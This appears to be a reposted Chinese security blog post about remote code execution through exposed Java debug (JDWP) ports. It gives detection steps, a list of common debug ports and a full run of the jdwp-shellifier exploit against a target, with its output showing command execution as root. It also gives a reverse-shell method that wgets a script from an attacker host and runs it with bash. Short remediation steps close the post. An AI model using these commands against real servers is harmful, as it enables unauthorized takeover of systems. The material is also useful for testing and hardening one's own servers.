Java Debug Remote Code Execution

1. 判断是否存在jdwp命令执行漏洞


telnet端口后,输入命令JDWP-Handshake

如果返回JDWP-Handshake,证明存在漏洞。

并且,如果不快速输入,连接立马就会断掉。

➜  ~ telnet 1.2.3.4 8000
Trying 1.2.3.4
Connected to 1.2.3.4.
Escape character is ‘^]’.
JDWP-Handshake
JDWP-Handshake

常用java debug端口号: 5005, 8000, 8080, 8181, 8453, 8787, 8788, 9001

注意:如果正在用下面的exp打的时候,exp正处于断点的界面时,telnet会失败。

1.1 脚本检测


由于存在这种情况:

输入什么字符串,返回什么字符串。

所以JDWP-Handshake检测的方式会存在误报,可以换用以下方式进行检测。

先开启一个调试端口:

java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y

输入命令jdb -attach 127.0.0.1:8000

返回的字符串如果有java.lang.Throwable,则存在漏洞。

➜  ~ jdb -attach 127.0.0.1:8000
设置未捕获的java.lang.Throwable
设置延迟的未捕获的java.lang.Throwable
正在初始化jdb…
>
VM 已启动: 当前调用堆栈上没有帧

main[1]

2. exp


利用国外一个牛逼的脚本进行命令执行。使用方法如下:

usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [–break-on JAVA_METHOD]
[–cmd COMMAND]

当不加cmd参数时,会发现暂停如下,并且还可以观察到jdk的版本为1.7.0_79

➜  jdwp_exp python jdwp-shellifier.py -t 1.2.3.4 -p 8000
[+] Targeting ‘1.2.3.4:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM - 1.7.0_79’
[+] Found Runtime class: id=1fd3
[+] Found Runtime.getRuntime(): id=7fa408018490
[+] Created break event id=2
[+] Waiting for an event onjava.net.ServerSocket.accept

此时,需要访问服务器的80和443,即web端口(一般直接用ip在浏览器中访问),才能触发脚本中的断点(很重要)

访问后,命令已经成功执行,如下:

➜  jdwp_exp python jdwp-shellifier.py -t 1.2.3.4 -p 8000
[+] Targeting ‘1.2.3.4:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM - 1.7.0_79’
[+] Found Runtime class: id=1fd3
[+] Found Runtime.getRuntime(): id=7fa408018490
[+] Created break event id=2
[+] Waiting for an event onjava.net.ServerSocket.accept
[+] Received matching event from thread 0x2427
[+] Found Operating SystemLinux
[+] Found User nameroot
[+] Found ClassPath ‘/data1/tomcat/pop_ywxt/bin/bootstrap.jar:/data1/tomcat/pop_ywxt/bin/tomcat-juli.jar
[+] Found User home directory ‘/root
[!] Command successfully executed

–cmd参数执行命令后没有回显,所以最好反弹shell。

但是由于java的exec函数配合jdwp-shellifier这个exp脚本不能直接反弹shell。那么,

反弹shell姿势:

jdwp-shellifier.py -t 目标IP -p 端口 –cmd “wget http://x.x.x.x/x.txt -O /tmp/x.sh”
jdwp-shellifier.py -t 目标IP -p 端口 –cmd “bash /tmp/x.sh”

注意这个exp脚本对jdk版本支持不完全:

This exploit script was successfully tested against:
Oracle Java JDK 1.6 and 1.7
OpenJDK 1.6
IBM JDK 1.6

实例中,当遇到jdk 1.8版本的case,断点不能被触发。

3. 修复方案

3.1 关闭debug模式


当ps查看进程的时候

/root/jdk1.8.0_45/bin/java -Djava.util.logging.config.file=/root/apache-tomcat-7.0.42/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n -Djava.endorsed.dirs=/root/apache-tomcat-7.0.42/endorsed -classpath /root/apache-tomcat-7.0.42/bin/bootstrap.jar:/root/apache-tomcat-7.0.42/bin/tomcat-juli.jar -Dcatalina.base=/root/apache-tomcat-7.0.42 -Dcatalina.home=/root/apache-tomcat-7.0.42 -Djava.io.tmpdir=/root/apache-tomcat-7.0.42/temp org.apache.catalina.startup.Bootstrap start

发现启动jdwp的参数是

-Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n

所以重启java服务,将上面的参数去掉就ok。

3.2 用iptables关闭相应jdwp对外访问的端口

0x04. 参考链接


  1. https://github.com/IOActive/jdwp-shellifier

  2. http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html


转自